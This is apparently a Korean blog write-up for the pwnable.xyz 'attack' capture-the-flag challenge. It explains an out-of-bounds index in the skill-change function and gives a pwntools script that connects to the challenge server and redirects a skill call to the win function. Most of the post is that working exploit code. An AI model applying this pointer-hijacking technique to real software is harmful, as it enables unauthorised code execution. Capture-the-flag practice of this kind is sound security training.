pwn/pwnable.xyz

pwnable.xyz / attack

lok2h4rd 2022. 5. 21. 09:58

옛날에 쥬니어네이버에서 했던 록맨 게임 생각나서 재미있었다

 

mitigation
Rank

게임이 끝날때 마다 RANK가 증가하는데 1번 이상할 경우 equit를 수정할 수 있고 3번 증가했을 때 스킬을 수정할 수 있

 

do_skill_change

do_skill_change함수에서 스킬을 선택해서 힐과 공격 타입 중에서 선택하여 바꾸는 과정에서 OOB가 터진다

equip 수정할 때 win함수 넣고 스킬 타입 변경할때 OOB로 win함수가 들어가도록해서 해당 스킬을 사용 시 win함수가 호출되도록했다

 

from pwn import * 
#context.log_level = "debug"


p = remote("svc.pwnable.xyz", 30020)
#p = process("./attack")

win = 0x401372

def mod_name(data):
    while True:
        line = p.recv(1)

        print("line: " + str(line))
        if  b"W" == line:
            line = p.recv(1)
            if line == b"h":
                p.recvuntil(b"use : ")
                p.sendline(b"1")
                p.recvuntil(b"on : ")
                p.sendline(b"1")
            else:
                print(p.recvline())
        elif b"\n" == line:
            continue
        elif b"D" == line:
            line = p.recvuntil(b"(y/n)? : ")
            p.sendline(b"y") 
            if b"equip" in line:
                p.recvuntil(b"equip: ")
                p.sendline(p64(data))
            elif b"skills" in line:
                p.recvuntil(b"(3 to exit): ")
                p.sendline(b"0")
                p.recvuntil(b"(0: Heal, 1: Attack): ")
                p.sendline(b"-113")
                p.recvuntil(b"(3 to exit): ")
                p.sendline(b"3")
                return 0
        else:
            p.recvline()


mod_name(win)

p.recvuntil(b"use : ")
p.sendline(b"0")
p.recvuntil(b"on : ")
p.sendline(b"0")

p.interactive()